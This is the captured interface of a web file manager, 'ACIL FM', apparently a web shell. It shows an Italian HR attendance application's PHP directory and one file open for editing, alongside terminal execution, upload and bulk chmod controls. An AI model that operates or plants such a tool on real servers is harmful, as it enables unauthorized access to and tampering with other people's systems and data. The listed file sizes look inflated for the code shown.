ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/timbrature/NH-HR-test/ds/public/attendance
/
home
mhhtmff
timbrature
NH-HR-test
ds
public
attendance
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
attendance_details_content.php
5.81 MB
chmod
View
DL
Edit
Rename
Delete
attendance_list_content.php
2.53 MB
chmod
View
DL
Edit
Rename
Delete
attendance_problems_content.php
4.7 MB
chmod
View
DL
Edit
Rename
Delete
attendance_user_info.php
10.02 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/timbrature/NH-HR-test/ds/public/attendance/attendance_list_content.php
<?php session_start(); if (!isset($_SESSION['loggedin'])) { exit("unauthorized"); } include "../../php/database.php"; ?> <table id="attendance_list_table" class="display" style="width:100%;"> <thead> <tr> <th>Anno</th> <th>Mese</th> <th>Stato</th> <th></th> </tr> </thead> <tbody> <?php $sql = "SELECT * FROM attendance ORDER BY year, month DESC"; $result = mysqli_query($con, $sql); while ($row = mysqli_fetch_assoc($result)) { echo "<tr>"; echo "<td>" . $row["year"] . "</td>"; if ($row["month"] == 1) { echo "<td>Gennaio</td>"; } else if ($row["month"] == 2) { echo "<td>Febbraio</td>"; } else if ($row["month"] == 3) { echo "<td>Marzo</td>"; } else if ($row["month"] == 4) { echo "<td>Aprile</td>"; } else if ($row["month"] == 5) { echo "<td>Maggio</td>"; } else if ($row["month"] == 6) { echo "<td>Giugno</td>"; } else if ($row["month"] == 7) { echo "<td>Luglio</td>"; } else if ($row["month"] == 8) { echo "<td>Agosto</td>"; } else if ($row["month"] == 9) { echo "<td>Settembre</td>"; } else if ($row["month"] == 10) { echo "<td>Ottobre</td>"; } else if ($row["month"] == 11) { echo "<td>Novembre</td>"; } else if ($row["month"] == 12) { echo "<td>Dicembre</td>"; } if ($row["status"] == "Pronto") { echo "<td><span class='badge badge-pill badge-info p-2 m-1'>Pronto</span></td>"; } else if ($row["status"] == "Inviato") { echo "<td><span class='badge badge-pill badge-success p-2 m-1'>Inviato</span></td>"; } else if ($row["status"] == "Da ricalcolare") { echo "<td><span class='badge badge-pill badge-warning p-2 m-1'>Da ricalcolare</span></td>"; } else if ($row["status"] == "Chiuso") { echo "<td><span class='badge badge-pill badge-primary p-2 m-1'>Chiuso</span></td>"; } echo "<td><i class='fa-solid fa-magnifying-glass' style='float: right; cursor: pointer' onclick='AttendanceDetails(" . $row["id"] . ");'></i></td>"; echo "</tr>"; } ?> </tbody> </table>
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply